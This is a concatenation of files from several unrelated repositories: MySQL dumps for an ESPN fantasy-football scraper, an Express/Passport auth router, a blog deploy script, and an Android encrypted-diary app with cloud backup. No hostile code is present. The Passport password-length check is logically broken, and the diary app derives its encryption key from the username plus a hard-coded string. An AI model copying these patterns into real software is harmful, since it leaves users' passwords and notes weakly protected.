`ESPNTeamID` int(11) DEFAULT NULL,
`Users_UserID` int(11) NOT NULL,
`Leagues_LeagueID` int(11) NOT NULL,
`TeamName` varchar(45) DEFAULT NULL,
`LeagueRank` int(11) DEFAULT NULL,
`Wins` int(11) DEFAULT NULL,
`Losses` int(11) DEFAULT NULL,
`Ties` int(11) DEFAULT NULL,
`TeamNickName` varchar(45) DEFAULT NULL,
PRIMARY KEY (`FFATeamID`,`Users_UserID`,`Leagues_LeagueID`),
KEY `fk_Teams_Users1_idx` (`Users_UserID`),
KEY `fk_Teams_Leagues1_idx` (`Leagues_LeagueID`),
CONSTRAINT `UserID` FOREIGN KEY (`Users_UserID`) REFERENCES `users` (`UserID`) ON DELETE NO ACTION ON UPDATE NO ACTION,
CONSTRAINT `fk_Teams_Leagues1` FOREIGN KEY (`Leagues_LeagueID`) REFERENCES `leagues` (`LeagueID`) ON DELETE NO ACTION ON UPDATE NO ACTION
) ENGINE=InnoDB AUTO_INCREMENT=13 DEFAULT CHARSET=utf8;
/*!40101 SET character_set_client = @saved_cs_client */;
--
-- Dumping data for table `teams`
--
LOCK TABLES `teams` WRITE;
/*!40000 ALTER TABLE `teams` DISABLE KEYS */;
INSERT INTO `teams` VALUES (1,1,1,1,'Let Me Ask My Girlfriend 1st',3,7,6,0,'DEXY'),(2,2,2,1,'North Dakota Missionaries',1,6,7,0,'NDMS'),(3,3,3,1,'Kansas kansas',8,9,4,0,'NICK'),(4,4,4,1,'KC\'s Sunset Sex Bitch',11,3,10,0,'KCXO'),(5,5,5,1,'Teblow my Diggs',2,8,5,0,'TBLO'),(6,6,6,1,'<NAME>',4,7,6,0,'LEWI'),(7,7,7,1,'KC\'s Sunset Sex Bitch',9,6,7,0,'KCXO'),(8,8,8,1,'Team Bremily',7,7,6,0,'BREM'),(9,9,9,1,'<NAME>',6,7,6,0,'ESFU'),(10,10,10,1,'Team Englebutt',10,4,9,0,'BUTT'),(11,11,11,1,'Team Gardner',12,4,9,0,'GARD'),(12,12,12,1,'<NAME>',5,10,3,0,'JBM');
/*!40000 ALTER TABLE `teams` ENABLE KEYS */;
UNLOCK TABLES;
/*!40103 SET TIME_ZONE=@OLD_TIME_ZONE */;
/*!40101 SET SQL_MODE=@OLD_SQL_MODE */;
/*!40014 SET FOREIGN_KEY_CHECKS=@OLD_FOREIGN_KEY_CHECKS */;
/*!40014 SET UNIQUE_CHECKS=@OLD_UNIQUE_CHECKS */;
/*!40101 SET CHARACTER_SET_CLIENT=@OLD_CHARACTER_SET_CLIENT */;
/*!40101 SET CHARACTER_SET_RESULTS=@OLD_CHARACTER_SET_RESULTS */;
/*!40101 SET COLLATION_CONNECTION=@OLD_COLLATION_CONNECTION */;
/*!40111 SET SQL_NOTES=@OLD_SQL_NOTES */;
-- Dump completed on 2016-03-29 12:56:29
<file_sep>CREATE DATABASE IF NOT EXISTS `ffadb` /*!40100 DEFAULT CHARACTER SET utf8 */;
USE `ffadb`;
-- MySQL dump 10.13 Distrib 5.7.9, for Win64 (x86_64)
--
-- Host: 127.0.0.1 Database: ffadb
-- ------------------------------------------------------
-- Server version 5.7.11-log
/*!40101 SET @OLD_CHARACTER_SET_CLIENT=@@CHARACTER_SET_CLIENT */;
/*!40101 SET @OLD_CHARACTER_SET_RESULTS=@@CHARACTER_SET_RESULTS */;
/*!40101 SET @OLD_COLLATION_CONNECTION=@@COLLATION_CONNECTION */;
/*!40101 SET NAMES utf8 */;
/*!40103 SET @OLD_TIME_ZONE=@@TIME_ZONE */;
/*!40103 SET TIME_ZONE='+00:00' */;
/*!40014 SET @OLD_UNIQUE_CHECKS=@@UNIQUE_CHECKS, UNIQUE_CHECKS=0 */;
/*!40014 SET @OLD_FOREIGN_KEY_CHECKS=@@FOREIGN_KEY_CHECKS, FOREIGN_KEY_CHECKS=0 */;
/*!40101 SET @OLD_SQL_MODE=@@SQL_MODE, SQL_MODE='NO_AUTO_VALUE_ON_ZERO' */;
/*!40111 SET @OLD_SQL_NOTES=@@SQL_NOTES, SQL_NOTES=0 */;
--
-- Table structure for table `nflteam`
--
DROP TABLE IF EXISTS `nflteam`;
/*!40101 SET @saved_cs_client = @@character_set_client */;
/*!40101 SET character_set_client = utf8 */;
CREATE TABLE `nflteam` (
`NFLTeamID` int(11) NOT NULL,
`NFLTeamName` varchar(45) DEFAULT NULL,
`Wins` int(11) DEFAULT NULL,
`Losses` int(11) DEFAULT NULL,
`Ties` int(11) DEFAULT NULL,
PRIMARY KEY (`NFLTeamID`)
) ENGINE=InnoDB DEFAULT CHARSET=utf8;
/*!40101 SET character_set_client = @saved_cs_client */;
--
-- Dumping data for table `nflteam`
--
LOCK TABLES `nflteam` WRITE;
/*!40000 ALTER TABLE `nflteam` DISABLE KEYS */;
INSERT INTO `nflteam` VALUES (1,'New England Patriots',12,4,0),(2,'New York Jets',10,6,0),(3,'Buffalo Bills',8,8,0),(4,'<NAME>',6,10,0),(6,'Cincinnati Bengals',12,4,0),(7,'Pittsburgh Steelers',10,6,0),(8,'Baltimore Ravens',5,11,0),(9,'Cleveland Browns',3,13,0),(11,'Houston Texans',9,7,0),(12,'Indianapolis Colts',8,8,0),(13,'<NAME>',5,11,0),(14,'Tennessee Titans',3,13,0),(16,'<NAME>',12,4,0),(17,'Kansas City Chiefs',11,5,0),(18,'Oakland Raiders',7,9,0),(19,'San Diego Chargers',4,12,0),(21,'Washington Redskins',9,7,0),(22,'Philadelphia Eagles',7,9,0),(23,'New York Giants',6,10,0),(24,'Dallas Cowboys',4,12,0),(26,'Minnesota Vikings',11,5,0),(27,'Green Bay Packers',10,6,0),(28,'Detroit Lions',7,9,0),(29,'Chicago Bears',6,10,0),(31,'Carolina Panthers',15,1,0),(32,'Atlanta Falcons',8,8,0),(33,'New Orleans Saints',7,9,0),(34,'Tampa Bay Buccaneers',6,10,0),(36,'Arizona Cardinals',13,3,0),(37,'Seattle Seahawks',10,6,0),(38,'St. Louis Rams',7,9,0),(39,'San Francisco 49ers',5,11,0);
/*!40000 ALTER TABLE `nflteam` ENABLE KEYS */;
UNLOCK TABLES;
/*!40103 SET TIME_ZONE=@OLD_TIME_ZONE */;
/*!40101 SET SQL_MODE=@OLD_SQL_MODE */;
/*!40014 SET FOREIGN_KEY_CHECKS=@OLD_FOREIGN_KEY_CHECKS */;
/*!40014 SET UNIQUE_CHECKS=@OLD_UNIQUE_CHECKS */;
/*!40101 SET CHARACTER_SET_CLIENT=@OLD_CHARACTER_SET_CLIENT */;
/*!40101 SET CHARACTER_SET_RESULTS=@OLD_CHARACTER_SET_RESULTS */;
/*!40101 SET COLLATION_CONNECTION=@OLD_COLLATION_CONNECTION */;
/*!40111 SET SQL_NOTES=@OLD_SQL_NOTES */;
-- Dump completed on 2016-03-29 12:35:20
<file_sep># ScraperV1
a working scraper of ESPN sites the inserts into local mysql db via jdbc
This is for iteration 1. It will continue to be added upon in a different branch/repo.
included is a dump of my local db in the jsoup/mysqldump folder
## To build and run the scrapers, you need to have a few local dependencies.
MySQL 5.7.1 installed
Java JRE 1.8 installed.
To view how it works, running the project in ecplise is reccommended, as that's what the development environment consisted of. It is also able to run via javac complilation and execution. It is similar to any other JDBC based application.
###NOTE: this app is sending a large number of requests to ESPN servers.
I would be wary about running it multiple times without removing the actual connections, which in turn would break the application. So just be careful that you do not run it too many times in a row.
<file_sep>CREATE DATABASE IF NOT EXISTS `ffadb` /*!40100 DEFAULT CHARACTER SET utf8 */;
USE `ffadb`;
-- MySQL dump 10.13 Distrib 5.7.9, for Win64 (x86_64)
--
-- Host: 127.0.0.1 Database: ffadb
-- ------------------------------------------------------
-- Server version 5.7.11-log
/*!40101 SET @OLD_CHARACTER_SET_CLIENT=@@CHARACTER_SET_CLIENT */;
/*!40101 SET @OLD_CHARACTER_SET_RESULTS=@@CHARACTER_SET_RESULTS */;
/*!40101 SET @OLD_COLLATION_CONNECTION=@@COLLATION_CONNECTION */;
/*!40101 SET NAMES utf8 */;
/*!40103 SET @OLD_TIME_ZONE=@@TIME_ZONE */;
/*!40103 SET TIME_ZONE='+00:00' */;
/*!40014 SET @OLD_UNIQUE_CHECKS=@@UNIQUE_CHECKS, UNIQUE_CHECKS=0 */;
/*!40014 SET @OLD_FOREIGN_KEY_CHECKS=@@FOREIGN_KEY_CHECKS, FOREIGN_KEY_CHECKS=0 */;
/*!40101 SET @OLD_SQL_MODE=@@SQL_MODE, SQL_MODE='NO_AUTO_VALUE_ON_ZERO' */;
/*!40111 SET @OLD_SQL_NOTES=@@SQL_NOTES, SQL_NOTES=0 */;
--
-- Table structure for table `leagues_has_users`
--
DROP TABLE IF EXISTS `leagues_has_users`;
/*!40101 SET @saved_cs_client = @@character_set_client */;
/*!40101 SET character_set_client = utf8 */;
CREATE TABLE `leagues_has_users` (
`Leagues_LeagueID` int(11) NOT NULL,
`Users_UserID` int(11) NOT NULL,
PRIMARY KEY (`Leagues_LeagueID`,`Users_UserID`),
KEY `fk_Leagues_has_Users_Users1_idx` (`Users_UserID`),
KEY `fk_Leagues_has_Users_Leagues_idx` (`Leagues_LeagueID`),
CONSTRAINT `fk_Leagues_has_Users_Leagues` FOREIGN KEY (`Leagues_LeagueID`) REFERENCES `leagues` (`LeagueID`) ON DELETE NO ACTION ON UPDATE NO ACTION,
CONSTRAINT `fk_Leagues_has_Users_Users1` FOREIGN KEY (`Users_UserID`) REFERENCES `users` (`UserID`) ON DELETE NO ACTION ON UPDATE NO ACTION
) ENGINE=InnoDB DEFAULT CHARSET=utf8;
/*!40101 SET character_set_client = @saved_cs_client */;
--
-- Dumping data for table `leagues_has_users`
--
LOCK TABLES `leagues_has_users` WRITE;
/*!40000 ALTER TABLE `leagues_has_users` DISABLE KEYS */;
INSERT INTO `leagues_has_users` VALUES (1,1),(1,2),(1,3),(1,4),(1,5),(1,6),(1,7),(1,8),(1,9),(1,10),(1,11),(1,12);
/*!40000 ALTER TABLE `leagues_has_users` ENABLE KEYS */;
UNLOCK TABLES;
/*!40103 SET TIME_ZONE=@OLD_TIME_ZONE */;
/*!40101 SET SQL_MODE=@OLD_SQL_MODE */;
/*!40014 SET FOREIGN_KEY_CHECKS=@OLD_FOREIGN_KEY_CHECKS */;
/*!40014 SET UNIQUE_CHECKS=@OLD_UNIQUE_CHECKS */;
/*!40101 SET CHARACTER_SET_CLIENT=@OLD_CHARACTER_SET_CLIENT */;
/*!40101 SET CHARACTER_SET_RESULTS=@OLD_CHARACTER_SET_RESULTS */;
/*!40101 SET COLLATION_CONNECTION=@OLD_COLLATION_CONNECTION */;
/*!40111 SET SQL_NOTES=@OLD_SQL_NOTES */;
-- Dump completed on 2016-03-29 2:04:29
|
d39629fadeb425c6f79e85818ee016a640617fbf
|
[
"Markdown",
"SQL"
] | 4 |
SQL
|
trotman23/ScraperV1
|
f91fc0613498ed47265b6382453c0e33058c9a95
|
7501954cb269ba982061e5b3493bd461469a509a
|
refs/heads/master
|
<file_sep>const express = require("express");
const passportRouter = express.Router();
// Require user model
const User = require("../models/user")
// Add bcrypt to encrypt passwords
const bcrypt = require("bcrypt");
// Add passport
const passport = require("passport")
const ensureLogin = require("connect-ensure-login");
passportRouter.get('/signup', (req, res, next) => {
res.render('passport/signup');
});
passportRouter.post('/signup', (req, res, next) => {
let username = req.body.username
let password = req.body.password
if(username.length < 4 || (password.length > 8 && password.length < 4))
{
res.render("passport/signup", {
message: "Please enter both, username (min 4 chars) and password (min 4 - max 8) to sign up."
})
return;
}
let saltRounds = 5;
let salt = bcrypt.genSaltSync(saltRounds)
let encryptedPwd = bcrypt.hashSync(password, salt)
Promise.resolve()
.then(() => User.create({username: username, password: <PASSWORD>}))
.then(() => res.render('passport/login'))
.catch(err => res.render("passport/signup", {message: err}))
});
passportRouter.get('/login', (req, res, next) => {
res.render('passport/login', {message: req.flash("error")});
});
passportRouter.post("/login", passport.authenticate("local", {
successRedirect: "/",
failureRedirect: "/login",
failureFlash: true,
passReqToCallback: true
}));
passportRouter.get("/private-page", ensureLogin.ensureLoggedIn(), (req, res) => {
res.render("passport/private", { user: req.user });
});
passportRouter.get("/logout", (req, res) =>
{
req.logout()
res.redirect("/login")
})
module.exports = passportRouter;
|
4bbbb3c6e86f4d8209818b19ee44b13c2b45e9ac
|
[
"JavaScript"
] | 1 |
JavaScript
|
peploc/lab-authentication-with-passport
|
8e3e208b5c22ec5e4ea96bd77a2a33e9c05f93d3
|
62cececcb79aa4b1d98222ec2c500c37f5a15c2a
|
refs/heads/master
|
<file_sep># PersonalWordPressConf
Configuration of my personal blog running on Google Computing Engine with encipher method.
Key features:
Let's Encrypt : On
SSL-Labs:Grade A+ certified.
Raspberry Pi : Support
Vulnerabilities:
DH exchange is weak......fixed
Latest:nginx.conf : /usr/local/nginx/conf/nginx.conf
Original one: /etc/nginx/sites-available/default
Special thanks : https://www.futures.moe/writings/configure-nginx-with-security-and-effective-yes-or-no.htm (感谢星川sama)
本配置文件同样基于CC进行开源，转载请注明作者，谢谢
本配置文件已基于上述教程进行SEO搜索引擎优化（比如不支持https收录的国内某些搜索引擎，已经去除百度，因为百度现已支持https收录），支持PHP7.0.0-5，同时已测试可以用于wordpress 4.4
<file_sep>sudo rm -rf /usr/share/nginx/html/hexo/*
sudo rm -rf /usr/share/nginx/html/hexo/*.*
cd /usr/share/nginx/html/hexo/
sudo git clone --depth=50 --branch=gh-pages https://github.com/Kiritoalex/Hexo.git ./
sudo mkdir /usr/share/nginx/html/hexo/wp-content
sudo cp -r /usr/share/nginx/html/wp-content/* /usr/share/nginx/html/hexo/wp-content
|
14c4ccae0cfdf2b2277b7dfe8a0959e5e37c54b7
|
[
"Markdown",
"Shell"
] | 2 |
Markdown
|
Kiritoalex/PersonalWordPressConf
|
a9d285a558cd27e2fcdf846aa81aae2423e03d4e
|
da17c457f30e67bbd0ef60520d259d999fbb09fa
|
refs/heads/master
|
<repo_name>shivamd20/MyDiary-android<file_sep>/app/src/main/java/in/ssec/myDiary/myDiary/MyCursorAdapter.java
package in.ssec.myDiary.myDiary;
import android.content.Context;
import android.database.Cursor;
import android.graphics.Bitmap;
import android.graphics.drawable.Drawable;
import android.view.LayoutInflater;
import android.view.View;
import android.view.ViewGroup;
import android.widget.CursorAdapter;
import android.widget.ImageView;
import android.widget.TextView;
import in.ssec.myDiary.R;
import in.ssec.myDiary.myDiary.data.DiaryContract;
/**
* Created by shivam on 1/10/17.
*/
public class MyCursorAdapter extends CursorAdapter {
Context context;
public static interface NoteClickListner{
void onClick(String id);
}
private LayoutInflater cursorInflater;
MyApplication.EncryptUtil encryptUtil;
NoteClickListner noteClickListener;
// Default constructor
public MyCursorAdapter(Context context, Cursor cursor, boolean flags,NoteClickListner l) {
super(context, cursor, flags);
this.context=context;
noteClickListener=l;
cursorInflater = (LayoutInflater) context.getSystemService(
Context.LAYOUT_INFLATER_SERVICE);
encryptUtil=new MyApplication.EncryptUtil(context);
// ...
}
public void bindView(View view, Context context, final Cursor cursor) {
String headTxt=cursor.getString(cursor.getColumnIndex(DiaryContract.Notes.HEAD));
String noteTxt=cursor.getString(cursor.getColumnIndex(DiaryContract.Notes.NOTE));
final String idTxt=cursor.getString(cursor.getColumnIndex(DiaryContract.Notes._id));
String date=cursor.getString(cursor.getColumnIndex(DiaryContract.Notes.DATE));
TextView headTv = (TextView) view.findViewById(R.id.headText);
TextView noteTv = (TextView) view.findViewById(R.id.noteText);
TextView dateTv = (TextView) view.findViewById(R.id.dateText);
ImageView imTv=(ImageView)view.findViewById(R.id.noteIcon);
headTv.setText(encryptUtil.decryptText(headTxt));
noteTv.setText(encryptUtil.decryptText(noteTxt));
dateTv.setText(date);
byte[] imageByte = encryptUtil.decrypttByte(cursor.getBlob(4));
//
if (imageByte != null) {
Bitmap bitmap = ImageUtil.getImage(imageByte);
if (bitmap != null)
imTv.setImageBitmap(bitmap);
}
else {
imTv.setImageDrawable(((MainActivity)context).getResources().getDrawable(R.drawable.diary));
}
final String id=cursor.getString(cursor.getColumnIndex(DiaryContract.Notes._id));
View.OnClickListener onClickListener=new View.OnClickListener() {
@Override
public void onClick(View v) {
noteClickListener.onClick(id);
}
};
view.setOnClickListener(onClickListener);
// headTv.setOnClickListener(onClickListener);
// noteTv.setOnClickListener(onClickListener);
// dateTv.setOnClickListener(onClickListener);
// ...
}
public View newView(Context context, Cursor cursor, ViewGroup parent) {
// R.layout.list_row is your xml layout for each row
return cursorInflater.inflate(R.layout.simple_row, parent, false);
}
}
<file_sep>/app/src/main/java/in/ssec/myDiary/myDiary/MyApplication.java
package in.ssec.myDiary.myDiary;
import android.app.Application;
import android.content.Context;
import android.content.Intent;
import android.database.Cursor;
import android.database.sqlite.SQLiteDatabase;
import android.view.View;
import org.jasypt.encryption.ByteEncryptor;
import org.jasypt.encryption.pbe.StandardPBEByteEncryptor;
import org.jasypt.util.password.BasicPasswordEncryptor;
import org.jasypt.util.password.PasswordEncryptor;
import org.jasypt.util.password.StrongPasswordEncryptor;
import org.jasypt.util.text.BasicTextEncryptor;
import org.jasypt.util.text.StrongTextEncryptor;
import in.ssec.myDiary.myDiary.data.BackupService;
import in.ssec.myDiary.myDiary.data.DiaryContract;
import in.ssec.myDiary.myDiary.data.DiaryDBHelper;
import io.hasura.sdk.Hasura;
import io.hasura.sdk.ProjectConfig;
/**
* Created by shivam on 30/9/17.
*/
public class MyApplication extends Application{
public boolean lockvarified=false;
/**
* Called when the application is starting, before any activity, service,
* or receiver objects (excluding content providers) have been created.
* Implementations should be as quick as possible (for example using
* lazy initialization of state) since the time spent in this function
* directly impacts the performance of starting the first activity,
* service, or receiver in a process.
* If you override this method, be sure to call super.onCreate().
*/
@Override
public void onCreate() {
super.onCreate();
ProjectConfig config = new ProjectConfig.Builder()
.setProjectName("avatar99") // or it can be .setCustomBaseDomain("myCustomDomain.com")
.build();
Hasura.setProjectConfig(config)
.enableLogs() // not included by default
.initialise(this);
BackupService.startCloudBackup(this);
}
public static class EncryptUtil{
BasicTextEncryptor textEncryptor = new BasicTextEncryptor();
BasicPasswordEncryptor passwordEncryptor=new BasicPasswordEncryptor();
StandardPBEByteEncryptor byteEncryptor=new StandardPBEByteEncryptor();
public byte[] encryptByte(byte by[])
{
return byteEncryptor.encrypt(by);
}
public byte[] decrypttByte(byte by[])
{
return byteEncryptor.decrypt(by);
}
public String encryptPassword(String str){
return passwordEncryptor.encryptPassword(str);
}
public boolean checkPassword(String password,String orpassword)
{
return passwordEncryptor.checkPassword(password,orpassword);
}
public EncryptUtil(Context context)
{
DiaryDBHelper dbHelper;
dbHelper=new DiaryDBHelper(context);
SQLiteDatabase db = dbHelper.getWritableDatabase();
Cursor cur= db.rawQuery("select "+DiaryContract.User.USER_NAME+" from "+ DiaryContract.User.TABLE_NAME,null);
if(cur.moveToNext())
{
textEncryptor.setPassword(cur.getString(0)+"!@#$iloveindia%^&*fghf<>?");
byteEncryptor.setPassword(cur.getString(0)+"!@#$iloveindia%^&*fghf<>?");
}
}
public String encryptText(String str)
{
return textEncryptor.encrypt(str);
}
public String decryptText(String str)
{
return textEncryptor.decrypt(str);
}
}
}
<file_sep>/app/src/main/java/in/ssec/myDiary/myDiary/DiaryInitializer.java
package in.ssec.myDiary.myDiary;
import android.app.AlertDialog;
import android.content.ContentValues;
import android.content.DialogInterface;
import android.content.Intent;
import android.database.Cursor;
import android.database.sqlite.SQLiteDatabase;
import android.os.Bundle;
import android.support.v7.app.AppCompatActivity;
import android.support.v7.widget.Toolbar;
import android.text.InputType;
import android.view.Menu;
import android.view.MenuItem;
import android.view.View;
import android.widget.Button;
import android.widget.EditText;
import android.widget.Toast;
import in.ssec.myDiary.R;
import in.ssec.myDiary.myDiary.data.DiaryContract;
import in.ssec.myDiary.myDiary.data.DiaryDBHelper;
import io.hasura.sdk.Hasura;
import io.hasura.sdk.HasuraClient;
import io.hasura.sdk.HasuraUser;
import io.hasura.sdk.exception.HasuraException;
import io.hasura.sdk.responseListener.SignUpResponseListener;
@SuppressWarnings("serial")
public class DiaryInitializer extends AppCompatActivity{
MyApplication.EncryptUtil encryptUtil;
EditText name;
EditText pass;
Button create ;
DiaryInitializer dI=this;
DiaryDBHelper dbHelper;
HasuraClient hasuraClient;
SQLiteDatabase db;
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
hasuraClient= Hasura.getClient();
encryptUtil=new MyApplication.EncryptUtil(this);
dbHelper=new DiaryDBHelper(this);
db = dbHelper.getWritableDatabase();
Cursor cur=db.rawQuery("select * from user",null );
if(!(cur.getCount()==0)) {
finish();
Intent intent = new Intent(dI, MainActivity.class);
startActivity(intent);
}
cur.close();
setContentView(R.layout.diary_sign_up);
name=(EditText) findViewById(R.id.name);
pass=(EditText) findViewById(R.id.pass);
create =(Button) findViewById(R.id.create);
// Create a ContentValues object where column names are the keys,
// and Toto's pet attributes are the values.
create.setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View v) {
AlertDialog.Builder builder = new AlertDialog.Builder(DiaryInitializer.this);
builder.setTitle("Confirm your password");
// Set up the input
final EditText input = new EditText(DiaryInitializer.this);
// Specify the type of input expected; this, for example, sets the input as a password, and will mask the text
input.setInputType(InputType.TYPE_CLASS_TEXT | InputType.TYPE_TEXT_VARIATION_PASSWORD);
builder.setView(input);
// Set up the buttons
builder.setPositiveButton("Confirm", new DialogInterface.OnClickListener() {
@Override
public void onClick(DialogInterface dialog, int which) {
// m_Text = input.getText().toString();
if(pass.getText().toString().equals(input.getText().toString()))
{
if( create()) {
finish();
Intent intent = new Intent(dI, MainActivity.class);
// EditText editText = (EditText) findViewById(R.id.name);
// String message = editText.getText().toString();
// intent.putExtra("hello", message);
startActivity(intent);
}}else {
Toast.makeText(dI,"Wrong Password",Toast.LENGTH_SHORT).show();
}
}
});
builder.setNegativeButton("Cancel", new DialogInterface.OnClickListener() {
@Override
public void onClick(DialogInterface dialog, int which) {
dialog.cancel();
}
});
builder.show();
}
});
}
@Override
protected void onStart() {
dbHelper=new DiaryDBHelper(this);
db = dbHelper.getWritableDatabase();
Cursor cur=db.rawQuery("select * from user",null );
if(!(cur.getCount()==0)) {
finish();
((MyApplication)getApplication()).lockvarified=true;
Intent intent = new Intent(dI, MainActivity.class);
startActivity(intent);
}
cur.close();
super.onStart();
}
void signUpToHasura(final String username, final String password)
{
HasuraUser user = hasuraClient.getUser();
user.setUsername(username);
user.setPassword(<PASSWORD>);
user.signUp(new SignUpResponseListener() {
@Override
public void onSuccessAwaitingVerification(HasuraUser user) {
//The user is registered on Hasura, but either his mobile or email needs to be verified.
}
@Override
public void onSuccess(HasuraUser user) {
//Now Hasura.getClient().getCurrentUser() will have this user
addUser(username,password);
}
@Override
public void onFailure(HasuraException e) {
Toast.makeText(DiaryInitializer.this, "password to short",Toast.LENGTH_SHORT).show();
}
});
}
void addUser(String name,String password)
{
SQLiteDatabase db = dbHelper.getWritableDatabase();
password= <PASSWORD>(password);
// Create a ContentValues object where column names are the keys,
// and Toto's pet attributes are the values.
Cursor cur=db.rawQuery("select * from user",null );
if(cur.getCount()==0) {
ContentValues values = new ContentValues();
values.put(DiaryContract.User.USER_NAME, name);
values.put(DiaryContract.User.USER_PASSWORD, <PASSWORD>);
long newRowId = db.insert(DiaryContract.User.TABLE_NAME, null, values);
if (newRowId == -1) {
}
}
else
{
Toast.makeText(this, "Welcome",Toast.LENGTH_SHORT).show();
}
}
boolean create()
{
if(name.getText().length()>3) {
if (pass.getText().toString().length() >= 5) {
{
signUpToHasura(name.getText().toString(), pass.getText().toString());
return true;
// name.setText("created");
// new MyDiaryHomeScreen().lock();
}
}
else
{
Toast.makeText(this, "password to short",Toast.LENGTH_SHORT).show();
}
}
else
{
Toast.makeText(this, "name to short",Toast.LENGTH_SHORT).show();
return false;
// JOptionPane.showMessageDialog(null, "please check your password");
}
Toast.makeText(this,"long press on any of the 'S' ",Toast.LENGTH_LONG).show();
return false;
}
/*
@Override
public boolean onCreateOptionsMenu(Menu menu) {
// Inflate the menu options from the res/menu/menu_editor.xml file.
// This adds menu items to the app bar.
getMenuInflater().inflate(R.menu.menu_initilizer, menu);
deleteMenuItem=(MenuItem) findViewById(R.id.deleteUser);
deleteMenuItem.setOnMenuItemClickListener(new MenuItem.OnMenuItemClickListener() {
@Override
public boolean onMenuItemClick(MenuItem item) {
db.delete(DiaryContract.User.TABLE_NAME,null,null);
Toast.makeText(dI,"",Toast.LENGTH_SHORT).show();
return false;
}
});
return true;
}
*/
}
<file_sep>/app/src/main/java/in/ssec/myDiary/myDiary/data/DiaryDBHelper.java
package in.ssec.myDiary.myDiary.data;
import android.content.Context;
import android.database.sqlite.SQLiteDatabase;
import android.database.sqlite.SQLiteOpenHelper;
/**
* Created by shiva on 21-12-2016.
*/
public class DiaryDBHelper extends SQLiteOpenHelper {
private static final String DATABASE_NAME = "notes.db";
private static final int DATABASE_VERSION = 4;
public DiaryDBHelper(Context context) {
super(context, DATABASE_NAME, null, DATABASE_VERSION);
}
public void onCreate(SQLiteDatabase db) {
// Create a String that contains the SQL statement to create the pets table
String SQL_CREATE_USER_TABLE = "CREATE TABLE " + DiaryContract.User.TABLE_NAME + " ("
+ DiaryContract.User.USER_NAME + " TEXT PRIMERY KEY, "
+ DiaryContract.User.USER_PASSWORD + " TEXT NOT NULL);";
String SQL_CREATE_NOTE_TABLE = "CREATE TABLE " + DiaryContract.Notes.TABLE_NAME + " ("
+ DiaryContract.Notes.HEAD + " TEXT , "
+ DiaryContract.Notes.DATE+ " DATETIME DEFAULT CURRENT_TIMESTAMP, " +
DiaryContract.Notes.NOTE+ " TEXT NOT NULL,"+DiaryContract.Notes._id +" INTEGER PRIMARY KEY AUTOINCREMENT,"+
DiaryContract.Notes.IMAGE +" BLOB "+");";
// Execute the SQL statement
db.execSQL(SQL_CREATE_USER_TABLE);
db.execSQL(SQL_CREATE_NOTE_TABLE);
}
public void onUpgrade(SQLiteDatabase db, int oldVersion, int newVersion)
{
}
}
<file_sep>/app/src/main/java/in/ssec/myDiary/myDiary/data/BackupService.java
package in.ssec.myDiary.myDiary.data;
import android.app.IntentService;
import android.app.Notification;
import android.app.NotificationManager;
import android.app.PendingIntent;
import android.content.Intent;
import android.content.Context;
import android.database.sqlite.SQLiteOpenHelper;
import android.graphics.BitmapFactory;
import android.graphics.Color;
import android.os.Build;
import android.support.annotation.RequiresApi;
import android.support.v4.app.NotificationCompat;
import android.util.Log;
import java.io.File;
import in.ssec.myDiary.R;
import in.ssec.myDiary.myDiary.MainActivity;
import io.hasura.sdk.Hasura;
import io.hasura.sdk.exception.HasuraException;
import io.hasura.sdk.model.response.FileUploadResponse;
import io.hasura.sdk.responseListener.FileUploadResponseListener;
/**
* An {@link IntentService} subclass for handling asynchronous task requests in
* a service on a separate handler thread.
* <p>
* TODO: Customize class - update intent actions, extra parameters and static
* helper methods.
*/
public class BackupService extends IntentService {
// TODO: Rename actions, choose action names that describe tasks that this
// IntentService can perform, e.g. ACTION_FETCH_NEW_ITEMS
private static final String ACTION_UPLOAD = "in.ssec.myDiary.myDiary.data.action.UPLOAD";
private static final int NOTIFICATION_ID = 50;
NotificationManager mNotifyMgr;
Notification.Builder mBuilder;
public BackupService() {
super("BackupService");
}
/**
* Starts this service to perform action Foo with the given parameters. If
* the service is already performing a task this action will be queued.
*
* @see IntentService
*/
/**
* Starts this service to perform action Baz with the given parameters. If
* the service is already performing a task this action will be queued.
*
* @see IntentService
*/
// TODO: Customize helper method
public static void startCloudBackup(Context context) {
Intent intent = new Intent(context, BackupService.class);
intent.setAction(ACTION_UPLOAD);
// intent.putExtra(EXTRA_PARAM1, param1);
// intent.putExtra(EXTRA_PARAM2, param2);
context.startService(intent);
}
@Override
protected void onHandleIntent(Intent intent) {
if (intent != null) {
final String action = intent.getAction();
if (ACTION_UPLOAD.equals(action)) {
uploadTask();
}
}
}
private void makeNotification(Context context) {
Intent intent = new Intent(context, MainActivity.class);
PendingIntent pendingIntent = PendingIntent.getActivity(context,
NOTIFICATION_ID, intent, PendingIntent.FLAG_UPDATE_CURRENT);
mBuilder = new Notification.Builder(context)
.setContentTitle("Backup")
.setContentText("Uploading notes to the cloud")
.setContentIntent(pendingIntent)
.setSmallIcon(R.drawable.ic_launcher)
.setLargeIcon(BitmapFactory.decodeResource(getResources(), R.drawable.ic_launcher))
;
Notification n;
if ( Build.VERSION.SDK_INT >= Build.VERSION_CODES.JELLY_BEAN) {
n = mBuilder.build();
} else {
n = mBuilder.getNotification();
}
n.flags |= Notification.FLAG_NO_CLEAR | Notification.FLAG_ONGOING_EVENT;
mNotifyMgr =
(NotificationManager) getSystemService(NOTIFICATION_SERVICE);
mNotifyMgr.notify(NOTIFICATION_ID, n);
}
boolean uploadTask()
{
makeNotification(this);
Hasura.getClient().useFileStoreService().uploadFile(new File(new DiaryDBHelper(this).getReadableDatabase().getPath()), "image/*", new FileUploadResponseListener() {
@Override
public void onUploadComplete(FileUploadResponse fileUploadResponse) {
Log.i(BackupService.class.getName(),"Done");
Notification n= null;
if (android.os.Build.VERSION.SDK_INT >= android.os.Build.VERSION_CODES.JELLY_BEAN) {
n = mBuilder.setAutoCancel(true)
.setContentText("Backup Completed").build();
}else
{
n = mBuilder.setAutoCancel(true)
.setContentText("Backup Completed").getNotification();
}
mNotifyMgr.notify(NOTIFICATION_ID,n);
}
@Override
public void onUploadFailed(HasuraException e) {
Notification n= null;
if (android.os.Build.VERSION.SDK_INT >= android.os.Build.VERSION_CODES.JELLY_BEAN) {
n = mBuilder.setAutoCancel(true)
.setContentText("Backup Failed").build();
}else
{
n = mBuilder.setAutoCancel(true)
.setContentText("Backup Failed").getNotification();
}
mNotifyMgr.notify(NOTIFICATION_ID,n);
Log.i(BackupService.class.getName(),e.getMessage());
mNotifyMgr.cancel(NOTIFICATION_ID);
